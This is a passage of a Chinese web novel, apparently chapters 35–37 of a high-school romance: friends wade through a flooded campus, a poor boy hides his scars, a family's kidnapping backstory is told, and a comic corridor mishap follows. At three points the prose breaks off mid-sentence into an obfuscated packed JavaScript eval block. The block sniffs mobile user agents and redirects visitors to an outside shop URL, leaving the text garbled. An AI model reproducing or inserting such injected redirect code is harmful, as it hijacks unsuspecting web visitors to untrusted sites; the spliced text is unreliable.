问完了林听,张期期又看向陈恕,准备开口送他,但陈恕眼眸颤了颤,心中若有所觉,他抄起书包,抢先道,“我东西都收拾完了,我先回去了……” 张期期支支吾吾着开口,“陈恕……” 陈恕微笑道:“明天见。” “好吧,那……明天见。” * 站在教学楼门口的平廊上望过去,入目所及之处恍然一片雨伞的海洋,伞与伞几乎是相互衔接着,暴雨拍打在雨伞上发出噼里啪啦的声音。 校道上是人声鼎沸,嘈杂冗乱,积水大约到大多数学生小腿的中部,学生们一手撑着伞一手拎着脱下来的鞋子蹚在积水中。 张期期、许兰亭、林听三人下楼的时候,望见这一大片的积水时都惊呆了。 许兰亭惊道:“我们一中的排水系统做得那么差吗?” 林听:“你不是说雨太大,你家里的车在来的路上熄火了吗?那可能不止是一中,校外大概也有积水吧,所以应该不是我们学校的排水系统出问题。” 许兰亭一顿,趁着张期期和林听望着雨幕的时候,快速拿出手机发消息给家里的司机叔叔,让他迅速撤退。 得到对方的回复之后,他悄悄松了一口气。 前方的校道还很拥挤,又因为李叔说他还有几分钟左右才到,因此张期期决定再等等。 她望着暴雨如注的灰色天空道,“居然积水了,京照市得有多少年没有遇见这种情况了……” “十一年前,京照市有过一次水灾。”一个语气淡淡的声音突然出现。 张期期闻言瞪大双眼,她循声探头望过去,“陈恕!” 陈恕点点头走过来,他刚好站在平廊的柱子前面,所以张期期等三人走下来的时候并没有看见他。 张期期惊讶地问道:“你怎么还在这儿?” 陈恕抿了抿唇,望着眼前小病刚愈的少女,“……人太多了,所以等等。” 张期期哦了一声,想顺路送他回家的心蠢蠢欲动,“陈恕……” “车子快到了吗?”陈恕突然问。 张期期一愣,与此同时,手机发出“叮”的一声,她下意识地低头看向亮起的手机屏幕,李叔告诉她,他已经快到校门口了…… “快到了。”她道。 陈恕将书包背到身前后,又背对着张期期,在她面前弯下腰,道:“上来。” 张期期震惊得后退一步,“啊?你要背我?” 陈恕“嗯”了一声,“你才退烧,最好不要蹚水。上来吧。” 张期期摸了摸鼻尖,又看了看林听、许兰亭。 林听立刻道:“陈恕说得没错,你生病还没完全好呢。” 陈恕再一次道:“上来吧,你放心,我不会摔了你的。” 张期期脸一红,“我才不重呢……”说着,她动作有些无措地趴在了陈恕的背上。 陈恕背着她站直,“我没有说你重的意思,只是想让你放心。” 张期期小声地嗯了一声,她手上是拿着雨伞的,陈恕背她,她就帮他撑着伞。 - 大庭广众之下,男生背着女生的这一幕引来了附近学生们的侧目。 张期期见此,立刻侧头和林听、许兰亭道,“你们俩快过来啊!”说完,她将头微微埋在陈恕的肩膀上,遮住自己的面容。 林听点点头道:“好。就来。” 许兰亭望着已经蹚着水的陈恕,心道,这小子……居然这么上道。 他望了一眼正准备将鞋子袜子脱下来的林听,神色戴带着期盼和忐忑,“林听,我也……”……背你。 林听脱掉鞋和袜子,卷起裤脚,她神色淡淡,“不用,你快点,不然我们跟不上期期、陈恕他们了。” 她光着脚试探着慢慢踩在了积水里,好在一中的校园清理得非常干净,所以即使有积水,积水里也没有漂浮着垃圾袋,顶多就是一些腐败的树叶。 许兰亭肩膀微微一垮,神色落寞,她对期期可比对他热情多了。 片刻后,他深深吸了一口气,再次振作起来,连忙脱掉鞋子袜子拎在手上,撑起伞踩入了积水中,“林听,你慢点……” 林听眼帘微垂,眼尾的余光扫向蹚着水走到她正前方的少年,他……他在给她探路。 热烈、炙热、毫不掩饰的喜欢从他的身上霸道地向她冲击而来,林听攥着雨伞的手微微紧着,许兰亭…… 暴雨倾盆,他们之间隔着两层雨幕,许兰亭永远看不清她眼底的情绪。 * 另一边,陈恕深一脚浅一脚地踩在雨水之中,他背上是他喜欢的女孩子,他走得很慢很稳。 张期期一手环绕着他的脖子,一手举着雨伞,从雨伞伞面倾泻而下的雨珠连缀成雨幕,伞面压低,谁也看不清伞下的少年少女。 陈恕脚步一顿,“期期,我看不见路了……” 张期期低低地唔了一声,她微微侧脸,鼻尖贴在少年的侧脸上轻轻蹭了蹭,下着雨,他的脸颊被风吹得带着凉意。 她轻声道:“谢谢你,陈恕。” 少女轻柔的动作带起了他心中密密麻麻的痒意,陈恕绷紧了下颌,眼眸着闪过一丝光亮,他假装着镇定、平淡,“嗯。” 伞面上抬,陈恕嘴角微微扬起,他背着她继续往前走,约莫十分钟的时间,他们来到了京照一中门口。 一中门口更加拥堵,闪烁着车灯的汽车汇聚成河流一般。 手臂上戴着红色圈章的学生会成员、纪律会成员就站在校门口校内的这一侧维持着学生走出校门口的秩序。 陆向川撑着黑伞,眼底暗色翻涌,他望着不远处越走越近的少年少女们。 他们走到了他的面前,陆向川咬了咬后槽牙,看着趴在陈恕背上的少女,出声道:“期期!兰亭!” 张期期愣了下,将伞抬得再高,“向川?” 待看清他手臂上的红色圈章后,她微微笑道,“你在维持秩序啊?谢谢你啦,向川。” 许兰亭不张口地嗯了一声,对着他点点头。 陈恕突然道:“期期,伞抬太高了,雨飘进来了。” 张期期一顿,哦了一声,赶紧将雨伞压了下来,她的视线被伞面遮住,便喊道:“向川,我们先走啦~” 话音一落,陈恕抬腿就走。 许兰亭再次笑着点了点头,他实在是不想说话,这一张口一嘴的风和雨水。 * 校门口。 托那把“奥特曼”雨伞的福,张期期、许兰亭等人在拥挤的人流、车流中一眼就看见了李叔。 张期期喊了一声,“李叔!” 李临循声看见了他们,他撑着伞挤过来,见张期期被一个男孩子背着,他眉毛微扬,但也没有开口问什么,只是道:“你们校门口这儿水比较深,我怕车熄火所以将车停远了一点。” “期期……”李临犹豫道,“要不,李叔背你?” 张期期还没开口,陈恕道:“不要紧,叔叔你带路吧,我背着期期就行。” 李临打量了其他几人,点头道:“也行,你们跟我过来。” - 几分钟之后,李临带着他们走到了国道上,果不其然,国道上的积水只浅浅地没过脚踝而已。 李临赶紧打开车门,陈恕背对着打开门的车后座座位,他弯下腰,让期期顺着他的背滑下来坐在后座上。 许兰亭过去打开另一边的后座车门,示意林听上车。 林听眼神犹豫,“我的雨伞……”,她的雨伞还在滴水,上了车的话,雨伞把车子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963915|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面弄湿了怎么办? 许兰亭哦了一声,“你上车,雨伞收起来,我放到后备箱去。” 林听这才点点头,上车收伞递给站在车门处的许兰亭,争取不将一滴水溅入车里。 许兰亭让李叔和他撑一把伞,他将林听和自己的伞都放在了后备箱中,再蹭着李叔的伞坐到了副驾驶的位置上。 “陈恕……伞给你。” 身上一滴水都没有沾到的张期期此刻已经坐在了车里,她见陈恕一副立刻想走的样子,再思及他两次生硬地转移她想顺路送他回家的话题后,便知道他有他自己的坚持。 无奈……张期期拉住他的手,将雨伞塞到他手上,避免他再从书包中拿出他自己的折叠伞时被暴雨淋湿上半身。 陈恕目光沉沉地看了她一眼,点点头,帮她关上了车门。他不再犹豫,蹚着水直接离开了。 李叔愣了一下,他坐在驾驶座位上,哎哎哎了几声,“那个小男生怎么不上车啊?” 张期期靠在车窗上,暴雨汇聚成雨膜一样贴在窗玻璃上,她很快就无法认清一片朦胧中陈恕的身影。 她道:“李叔,走吧。先送林听回去。” 李临虽然不解那名小男生为什么不上车,但他还是道:“好。”他上次送过林听一次,自然还记她家大概住在哪里。 天幕上闪烁着狰狞的闪电,车窗外雷声阵阵,遇上了红灯,他们的车子停在斑马线的后方。车内开了最低档的暖气,温度刚刚好。 张期期拿过车内的毛巾递给林听,“林听,擦一下吧。” 林听:“好。”她伸手接过毛巾,擦了擦微微湿润的发尾。 绿灯亮起,车子慢速行驶在国道上,张期期突然拍了下自己的额头,“我差点忘记了!” 林听疑惑地侧首:“怎么了,期期?” 张期期挪了挪位置,坐得离林听近了一些,她好奇道:“林听,我想问问……这个英语的口语怎么学啊?就是……嗯!学了之后能像你一样读英语的时候有一股好听的英腔。” 林听突然偷偷笑了笑……期期怎么可能会主动想学英语?一定是为了陈恕吧。 她余光扫了一眼前方驾驶座上的长辈,忍住了想揶揄张期期的心,正色道:“一个英文单词有美式英语、英式英语的读法,我个人是倾向于英式英语的,如果陈……” 她及时改口,“如果你想学的话,我这儿有个MP4,里面下载了很多教学资料、教学例子,会教你怎么去读单词、短语、句子和文章。” 张期期眼神一亮,透露出欣喜,“好啊!那……那你暂时需不需要用到,不需要的话可以先借我一晚上吗?我把里面的资料拷贝出来,明天就还给你。” 林听笑着道:“当然可以啊,借多久都行,我现在不怎么需要用到了。”说着,她拉开书包的拉链,将自己的MP4拿出来递给张期期。 张期期笑着,“谢谢~” 林听也微微笑着,她的视线不自觉地与前方副驾驶座位上坐着的许兰亭撞上,后视镜上许兰亭看见林听嘴角的笑容微微一滞。 许兰亭垂下了眼眸,微微抿了抿嘴。 * 另一边,陈恕撑着伞,踩着没过脚踝的积水走在拥挤、鸣笛声不断的道路上。 雨雾浓重,汽车汇聚成车流一样在道路上走走停停,闪烁的车灯穿透湿气,倒映在他的眼底。 陈恕对车子并没有过多的了解,但张期期家的车子肉眼可见的高端上档次,更何况那名中年男人,即便期期喊他为“李叔”,但那名“李叔”对期期并不是单纯的“长辈看晚辈”的眼神,还夹杂着尊敬。 如果……他家里只是单纯、简单的家境贫寒,他不会如此难堪。 - 因京照一中附近积了水,所以途径这附近的公交车停运了,陈恕不得不踩着积水走了两站路才终于回到了他租的房子里,一房一卫加一个小小的阳台。 进门的左手边有一个小小的鞋柜,右边靠墙则是一张单人床,一张书桌,床的尾部则是一个破旧的衣柜。 房间过去就是卫生间和阳台,卫生间有一个超大的窗子,通风非常好,窗口上方还安装着雨棚,平日里陈恕就把衣服晾在雨棚下。 阳台封了可打开、关上的玻璃窗,也砌了长长的石板灶台,灶台上放置着一个小型的消毒柜和置物柜。虽然不能用煤气灶煮饭,但用电煮还是可以的。 阳台和房间之间隔着一块白色的布帘,用来挡一挡油烟,聊胜于无。 陈恕将书包放在桌子上后,径直往卫生间里去,卫生间门后贴着一排钩子,钩子上挂着一套棉质的睡衣睡裤。 他刚才在楼下就已经将裤脚处的水给拧干了,又甩了甩鞋子里的水,现在裤脚虽然不再滴水了,但湿湿的贴在身上非常不舒服。 陈恕将衣服、鞋子换下来,穿上睡衣睡裤和拖鞋后又将雨棚处挂着的、被暴雨打湿的衣物和刚才换下来的鞋子、衣服都拿到阳台重新洗干净、晾起来。 阳台外,暴雨拍打着玻璃,陈恕坐在阳台上矮小的凳子上,手里托着一碗他自己煮的泡面低头吃着。 泡面味道比较大,所以他才选择不进房间。 少年坐在矮小的凳子上,长腿无处安放般地曲起,裤管往上蹿了一大截,露出小腿上斑驳、密布的伤疤,甚至他穿着人字拖露出的脚背上同样如此。 陈恕吃完泡面之后将碗筷洗干净,再放入消毒柜中。 他掀开白色布帘走到房间,将鞋柜上方放着的吹风筒拿到阳台上吹起了鞋子。 他只有这一双运动鞋,如果不吹干的话,明天就没得穿了。 吹风筒的呼呼呼声回响在他的耳边,陈恕低头望见自己脚背上交叉、横亘着的伤疤,他抿了抿唇…… 片刻后,陈恕视线又回到他的双手上,还好……他的手背上没有这些丑陋的伤疤,否则,他那难堪、绝望的过去便会赤裸裸地盛开在张期期的面前、所有人的面前,到时他又该以何种神情去面对旁人复杂、猜疑的眼神。 他根本做不到轻描淡写地讲起自己的过去…… 36. 第 36 章 - 将林听送到她家附近之后,李叔开车回到了皇家园林别墅区。皇家园林别墅区的地势比较高,所以并没有积水的情况发生。 雨渐渐停了……汽车先在许兰亭家门口停下,许兰亭背起书包,“李叔,谢谢你送我回来。” “不用谢哈哈,顺路的事情。后备箱我打开了,雨伞在后面你自己拿哈。”李叔笑着道。 许兰亭点点头,随后又转身喊了一声正一脸痛苦地“沉迷”在MP4中的张期期,“期期……我到家了。” 张期期耳朵塞着耳塞,完全没有听到许兰亭的声音。 许兰亭见状,嗤了一声,心道:见色忘友! 他下车关上车门,绕到后备箱处将雨伞拿上,关上后备箱转身走到院门口 院子里停着他哥许敬亭的车,许兰亭顿时一阵心虚,他犹豫片刻后才走进家门。 果不其然,他哥就坐在客厅的沙发上办公,这幅模样一看就是准备“兴师问罪”,专门逮他的。 许兰亭随手将雨伞放在玄关处的雨伞收纳架上,忐忑道:“哥……” 许敬亭闻声,身体往沙发上一靠,他随手将金丝眼镜拿下来,丢在茶几上,“过来坐。” 许兰亭揪着书包的带子,慢吞吞地走过去、坐在了沙发上,“哥……我知道错了……” “说说,错哪儿了?”许敬亭神色平淡。 “不该关机。”许兰亭低着头,不敢看向自己的哥哥。 许敬亭望着一脸无地自容般的少年,神色终于掀起了波澜,“你都知道还这么做,这不是故意往哥哥的心里戳吗?” ……当年十三岁的他带着五岁的弟弟出门玩的时候,因为弟弟口渴想喝水,他便让身边的保镖去买水,但没想到就是那么一会儿的功夫,大街上突然出现了一辆面包车和几个一脸凶恶的男人公然抢人。 他撕心裂肺、惶恐不安地大喊一声,死死地抱着怀里的弟弟,保镖就在最近,听到声音连忙赶来时,却只来得及救下他,而他的弟弟却被抢走了。 那一次的当街抢人并不是有预谋的,他和弟弟运气不好撞上了,而抢人的那几个男人在保镖的到来之后才意识到他们大概是踢到了铁板,抢了有钱有势家的孩子,最终那几个男人心中惶恐,将年仅五岁的弟弟丢到了京照市郊外一条人迹罕至的街上。 而后警方和许家找到了他弟弟,他弟弟进了医院之后虽然查出来身上没什么伤口,但那段被抢的记忆却消失了。 许兰亭愧疚地看了一眼他哥,“哥……下次不会了,哦,不是,不会再有下次了。”他越说声音越小…… ……他低头看着自己的手机界面,上面下载了一个APP,这个APP会将他的定位传达到他哥哥的手机上。 当时他发消息给家里的司机,让对方赶紧撤退时,生怕对方一直问,引起林听的注意、怀疑,所以就直接关机了…… 许敬亭双手抱胸,呼吸沉重,他看着几乎是自己带大的弟弟,最终还是呼出一口心中的郁气,“下不为例。” 许兰亭提着的心也终于落地,“好的,哥。” 许敬亭哼笑一声,“王叔说你今天放学的时候突然告诉他,你不用他接了……怎么?也是因为那个女孩子?” 许兰亭摸了摸后脑勺,一向大大咧咧的男生突然不好意思起来,“期期载她回家,我也蹭一下期期的车。” “呵……行吧,我知道了。”许敬亭笑了一声,拍了拍他的肩膀,起身将笔记本电脑拿上,往楼上书房办公去了,公司里还有一大堆事情等着他处理呢。 * 张家。 张期期一脸无畏地坐在餐桌旁等着开饭,上菜的莲姨偷偷瞄了她一眼,张期期笑着比了个“OK”的手势。她已经退烧了…… 莲姨笑着点点头,“期期,先去洗洗手,我去叫先生太太下来吃饭。” 张期期:“莲姨,我把书包拿上去,顺便叫我爸妈就行。” 莲姨:“也好。” - 饭桌上,张世明盯着女儿看了一会儿,还是没有拆穿她今天早上并没有退烧,就偷偷溜出家门的事。 戚和风笑道:“期期,今天怎么这么晚才回来啊?” 丈夫张世明回家之后告诉她,市区有一部分地区积水了,但这对专车接送回家的期期来说,影响应该不大才对,那怎么女儿比平时晚了将近一个半小时才回家? 张期期一边吃着,一边随口道,“先送了朋友回家。” 戚和风、张世明对视一眼,晚了将近一个半小时……说明女儿的这个朋友并不住在这附近,更甚至应该是和他们家南辕北辙,那……只能是离市中心很远的地方了。 张世明想到上一次女儿问他如何哄一个男生这件事,便试探道:“哪个朋友啊?爸爸认识吗?男的女的?” 戚和风闻言,内心不赞同地微微皱眉,但还是没有说什么。 张期期不在意道:“爸你问那么多干嘛,我那个朋友是女的,你不认识的……” 她说着,突然意味深长地笑道,“不过……虽然爸你不认识,但……”她想到对许兰亭十分上心的许敬亭,继续道,“……敬亭哥应该知道。” 张期期嘿嘿嘿地笑着,神色促狭,以敬亭哥对兰亭的操心程度,她相信敬亭哥一定是知道林听的存在的。 张世明眉心微蹙,“你朋友和敬亭,怎么了?”……许敬亭是他非常看好的年轻人。 张期期闻言一愣,“啊?” 片刻后,她意识到自己刚才的话有歧义,“没有啦,我今天和兰亭一起送我朋友回去的。” 张世明瞬间意会到了,看来那个女同学是和兰亭那小子啊……他瞬间松了一口气,一旁的戚和风将他的神情看在眼底,眉心皱得越深了。 难道他属意的居然是许家的大儿子许敬亭?但许敬亭可是比他们期期大了八岁啊!再说了,许家的大儿子在她看来心思颇为深沉,哪里是他们家期期能够驾驭得住的? 戚和风只觉得荒谬,这顿饭她吃得如鲠在喉。 - 饭后,张期期在客厅同父母撒娇耍赖了一番之后,才跑上了五楼,她自己的小天地。 她在房间里翻箱倒柜地找着很久之前她不用了的MP4,十几分钟之后,她才最终在沙发的夹缝中摸到了这个电子设备。 张期期轻轻拍了拍MP4,找了数据线给它先充电,而她则靠在沙发上用耳机听着林听给的Mp4中的英语口语教学资料。 …… 少女听着听着,神色从一开始的怡然到凝重、纠结、扭曲,放弃,她一下子滑着躺在了沙发上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967929|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不行,我听不下去了,越听越痛苦。” ……她一开始确实是想直接把林听的MP4中所有的口语教学资料全部拷贝到她的MP4中的,但踌躇半响后,她又觉得得自己这个英语渣渣先听一听,确定一下效果怎么样…… 事实证明,她不配! 张期期呼出一口气,挣扎得爬起来,算了算了,还是全部拷贝到她的MP4里吧。 别墅的第五层全是她的活动空间,自然也有一个专属于张期期的书房,里面配备着电脑设备,只不过平常她都习惯在卧室里写作业,写完就能直接倒头就睡。 书房内,张期期按着鼠标,将林听MP4中的资料全部拷贝到她已经充完电的MP4里。 夜幕低垂,窗外乌沉沉的。 电脑屏幕的光芒闪烁在她的眼底,张期期蓦然一笑,眼底滑过几丝促狭。 她按着鼠标将电脑上C盘上的一个文件也拷贝到MP4中,那个文件里储存着她唱的歌曲。 ……也不知道陈恕到时候突然听到她唱的歌曲会不会吓一跳? - 在书房拷贝完之后,张期期拿着Mp4回到了卧室里,她将自己的MP4、MP4的充电器以及耳机一起放在一个粉红色的小袋子里。 将小袋子放在书桌上最显眼的位置上后,张期期将今天各科目的试卷、习题全部拿出来,开始埋头苦刷。 她虽然在其他科目上是有天分的,但她并没有像旁人想象的那般不怎么需要学习就能考高分,京照一中每一天都有很多的试卷需要答,她同样需要刷数不清的题目。 晚上十二点钟之后,张期期才终于放下了笔,起身往卫生间内洗簌,十几分钟之后,已经耗尽了一天能量的她爬上了床,沉沉入睡。 * 沉睡中的张期期并不知道她的妈妈今夜是怎样的辗转反侧…… 双人床上,张世明听着妻子反反复复地躺平又侧身,侧身又趟平,吵得他一次次醒过来。 他坐起身,靠在床头上,看着朦胧的小夜灯下睁着双眼的妻子,“怎么了?睡不着?” 戚和风一下子坐起来,绷着脸道,“我郁闷得睡不着。” 张世明伸手将人搂过来,“到底怎么了?” “你是不是想将我们期期和许家大儿子许敬亭凑在一起?”戚和风道。 张世明顿了顿,神色有些疲惫,“就这件事啊?” 他叹了一口气,“明天再说吧,期期也还小呢,我明天还有好几个会议要开,真的很累了。” 戚和风顿时一噎,听到丈夫工作繁忙,她的底气一下子就散了,“好吧,睡吧。” 张世明躺在搂住了戚和风,很快就睡着了,然而戚和风却动也不敢动,在黑暗中睁着眼睛,任由脑子里思维疯狂跳跃。 她总是忍不住在想,他是不是后悔了……所以才这么一直想撮合女儿期期联姻。 如果真是这样……那么她这么多年来的婚姻岂不是显得很可笑?那些商圈内所谓的“跨越阶层”的爱情之类的话,在这么多年后像巴掌一样甩在了她的脸上。 难堪…… 她不想这么难堪,所以她如鲠在喉,不愿意女儿商业联姻。 期期一旦联姻,好像就在动摇张世明和她之间坚定“自由恋爱、跨越阶层”的立场。 37. 第 37 章 京照市的雨季还在持续着,但第二天,京照一中的积水情况就消失了,这都有赖于一中学生家长的强效“杀伤力”。 一中的学生回家之后,当他们的父母得知道学校居然发生了那么严重的积水事情,几乎差点将学校和教育局的电话给打爆了,所以经过一晚上的连夜疏通,学校的积水情况就处理完了,也没有耽误到第二天学生的正常上学。 重点一班。 张期期恢复了踩点进教室的习惯,当她坐在椅子上将书包的试卷掏出来的时候,许兰亭反身坐在椅子上还在向着陈恕抱怨着。 他唉声叹气,“昨晚下半夜又下起了暴雨,我还以为我们今天不用上学了呢!哪里知道我们学校的行动力这么爆表的吗?这么深的积水,一晚上就给疏通了。” “……今天早上,我在家里等了那么久,就是没收到停课的通知。” 陈恕翻阅着手中的参考资料,时不时“嗯”一声回应对方。 很明显,陈恕在敷衍许兰亭,然而许兰亭也在“敷衍”着对方,他看似在和陈恕讲话,实则目光频频扫向和他隔着一条通道的林听。 张期期手撑着下巴,对眼前的这一幕,“噗呲”一声笑出来…… 她的笑声仿佛带有吸引力似的,陈恕、许兰亭和林听纷纷将目光转移到她的身上。 张期期一滞,接着在他们疑惑的目光下笑着摆了摆手。 陈恕盯着她看,半响低声道,“昨天回去还会发烧吗?” 张期期闻言,蓦然想起他背着她的那一幕,微微红了脸,她轻轻摇了摇头,眼眸带着盈盈笑意,“没有了……我昨天……一滴水都没有沾到,怎么会继续发烧呢。” “那就好。”他低声道,手指紧紧捏着参考资料的某一页,显然也是想起了昨天的那一幕。 陈恕顿了顿,佯装自然地收回了视线,继续看着手中的参考资料,但只有他自己知道,他的脑海中满是昨天那亲近的接触,他在回味着与她如此靠近的时刻。 ……少年眼帘微垂,遮住了眼底的羞燥。 他既觉得欢喜又唾弃自己这是在冒犯她。少年拧巴的心思啊…… - 许兰亭:……好家伙,你们俩这空气中散发的“恋爱”酸臭味。 他心中哼了一声,掩饰着他的嫉妒!眼不见为净…… 张期期白了他一眼,随即收回视线,和林听说着悄悄话。 她将昨天和对方借的MP4偷偷塞还给了她,“林听,谢谢你啊~” 林听笑笑,“不用这么客气的。” 上午两节语文课连着两节数学课上完了,放学铃声刚过没多久,食堂就已经熙熙攘攘了。 张期期端着餐盘,和林听在一众黑压压的人群中准确无误地看到了陈恕。 “林听,我们过去陈恕那边。”张期期侧首小声道。 林听神情犹豫,她这么跟过去,会不会像个超大功率的电灯泡啊,拒绝的话正打算说出口时,许兰亭突然出现了…… 他端着餐饭,“我就去上个厕所的时间,你们居然不等我……” “是吧,先哥……”许兰亭道。 周嘉先一脸的生无可恋,活像是被抓了壮丁一样,他拉长了语音,“是——” 张期期一愣,“先哥……你也在啊?不用回家给妹妹做饭吗?” 周嘉先:…… “不了,最近家里的小孩叛逆……已经不愿意吃我煮的饭菜了……” 许兰亭哈哈大笑,“家庭煮夫惨遭嫌弃!” 周嘉先难得地、不赞同地“啧”了一声,他端着餐盘轻轻撞了撞对方,“别瞎说,虽然我妹妹还小,但也不能乱开玩笑。” 许兰亭立刻认错,“好的,我错了……先哥。” 周嘉先笑骂道:“滚吧!别拿应付张老师的那套对付我。” 许兰亭哈哈大笑…… 张期期:“好了好了,走,我们去陈恕那儿。” 几人哗啦啦地一下子蹿到了陈恕的身边,围着他坐下了。 陈恕夹菜的筷子停在半空中:…… “陈恕。”张期期坐在陈恕的正对面,她歪着头微微笑了笑。 许兰亭、周嘉先分别坐在陈恕的一左一右,林听坐在张期期的身旁,她的对面就是许兰亭。 许兰亭:“真是奇了怪了……食堂人这么多,怎么每次陈恕身边都没人坐呢?” 周嘉先笑了笑,“正好给我们捡漏,是不是?” 许兰亭笑道:“也是……” 陈恕:……一定要这么隔着我说话吗? 陈恕吃饭的速度非常快,没见他大口大口地吃着,但他的往嘴里送饭的频率相当频繁,几分钟之后,他便端着餐盘站起来,“我吃完了,你们慢慢吃。” 张期期见状,连忙将放下筷子、准备将餐盘端上,“我、我也吃完了,陈恕你等一下我。” 许兰亭、周嘉先、林听看了一眼张期期餐盘中的饭菜,这……这叫吃完了? 谁料张期期这话一处,陈恕抿了抿唇,又坐了下来。 张期期:? 她神色疑惑地看向他。 陈恕垂下眼眸,淡淡道:“不是让我等你吗?” 众人:…… 张期期闻言,顿时笑了起来,她又坐回去,继续吃饭。 许兰亭、周嘉先、林听面面相觑,感觉自己就是超大功率的电灯泡,三人都没有说话的心了,于是很快吃完离开,只剩下张期期、和依旧等着张期期的陈恕。 等他们走了之后,张期期将筷子放下,从口袋里拿出纸巾擦了擦嘴巴,又从另外一个口袋里掏啊掏的,掏出一个粉红色的塑料袋。 “陈恕……这个给……”她顿了下,迅速改口道:“借你。” 陈恕垂眸,“什么东西?” 张期期边将MP4、充电器、耳机从塑料袋里倒出来,边说道:“你不是英语口语不太好吗?这里面下载了很多英语口语的教学资料,应该蛮不错的……你可以听着学一学。” 陈恕嘴角微微抿起,看着她捧着电子设备的双手,沉默不语。 张期期看着他,突然恍然大悟,“你是觉得我是英语渣渣,不信我给的资料有用?我跟你说啊,这是我从林听那儿拷贝过来的,上次你也听到了吧,林听那一口英伦腔的英语……” 陈恕:“不是,我是觉得你也应该听着学一学。” 这话一落,张期期的脑海中警报声拉响,不会吧……他想教我学英语的心还没死呢? 张期期起身拉过对方的手,将MP4等一下子塞在他的手中,随后端起餐盘迅速溜了…… 陈恕握紧手中的电子设备,低低地笑出了声音。 片刻后,他又沉默下来,英语口语……如果成功的话,学习英语口语确实是迫在眉睫的事情,但十月下旬的物理联赛,他确实没有多大的把握,因为这一届的高三生中能力强悍的不在少数。 * 一晃眼的功夫,很快就到了这周周五。 今天的天还是雾蒙蒙的,连绵的雨丝飘进走廊,走廊处被踩得全是又湿又脏的脚印。 天气一闷,教室里人一多,窗户又因为外面飘着雨,所以只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12980750|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关着窗,张期期呆久了只觉得头都晕了,鼻子通气都不顺畅起来。 她拿着物理参考资料走到教室外靠近教室的这一侧走廊看着,她的身边时不时走过往厕所去的女同学。 她们道:“哎!今天最后一天了,我看校花校草的票数应该稳了……” “肯定稳了啊,就是重点一班的那两位了。” “……” 再多的话张期期都没听到了,不过对于这一届校花校草的选举,她每天都在关注着,即使是生病的时候她都没有忘记给陈恕、林听、侯蕊三人投票。 虽说结果是板上钉钉了,但……张期期还是将书本合上,从裤子的口袋中拿出手机点开链接…… 另一边,班上的男生依旧“愿赌服输”地为班上的女生打水,许兰亭、周嘉先两人一起合力拎着大塑料袋,里面装着已经打好水的水杯,陈恕作为“打水挂件”跟着他们一起,他被班里的男生赋予了“认水杯”的任务,打水这项动作任务就不需要他了。 许兰亭和周嘉先说说笑笑,陈恕走在他们身后提醒道:“小心一点,地上很滑。” 许兰亭头也不回,“这走廊小爷我走了那么多次了,难道还会摔倒?” 周嘉先嘴角一顿,这隐隐约约的“flat”是怎么回事? 他们走到了教室门口附近,许兰亭看见张期期居然拿着手机关明正大地在走廊上看着,大为惊奇。 而她身后不远处教导主任正徐徐走过来…… 许兰亭紧张地大声喊了一声:“张期期!” 张期期闻声一抖,抬头的瞬间脚底滑了一下,整个人踉跄着往前滑了好几步。 与此同时,许兰亭感觉身边似乎飞快地窜过了一个身影,等他回过神来的时候,走廊上,张期期和陈恕两人正面对着面,陈恕跪在地上双手正攥着张期期的手臂,将堪堪也要双膝跪地的她架在半空中。 她的双膝离地上只剩下一点点的距离。 张期期崩溃地看着眼前的这一幕,谁能想到想要扶住她的陈恕居然被她向前滑倒的惯性带着压下了下去,现在好了……人家双腿跪在她的面前…… ……她中午不该吃那么多饭的!! 这一幕实在太令人尴尬了,整个走廊突然安静下来,许兰亭看着姿势奇怪的两人,恰在安静的这一刻,突然蹦出一句,“夫妻……对拜?” 夫妻对拜?这魔性的四个字加上张期期、陈恕尴尬的姿势,可不就是夫妻对拜吗? 走廊上顿时爆发出一阵哄笑声,神他妈的“夫妻对拜”!! 不远处的教导主任闻声慌慌张张地快步走了过来,甚至没有给处在哄笑声中的张期期、陈恕反应的时间。 教导主任见状一呆,随后怒声喊道:“干什么呢?你俩!” 意识到自己刚才闹出笑话的许兰亭一手握拳捶在另一手手掌心上,神色笃定,“主任,年纪第一和偏科之王在……义结金兰!” 教导主任指尖颤抖:“??……你在说什么鬼话?” 许兰亭头一垂,拉了拉周嘉先,示意对方将手上拎着的大袋子放到地上后,迅速走到张期期、陈恕身边,扑通一声跪下,“主任……我刚才说错了,我们在桃园三结义。” 周嘉先连忙撇过头,笑得浑身颤抖,差点喘不过来气,他哐哐往自己的胸膛上锤了锤,卧槽……有毒啊! 连忙跑出来的林听站在窗口,她紧紧抿着嘴憋着笑,整个脸都红了…… 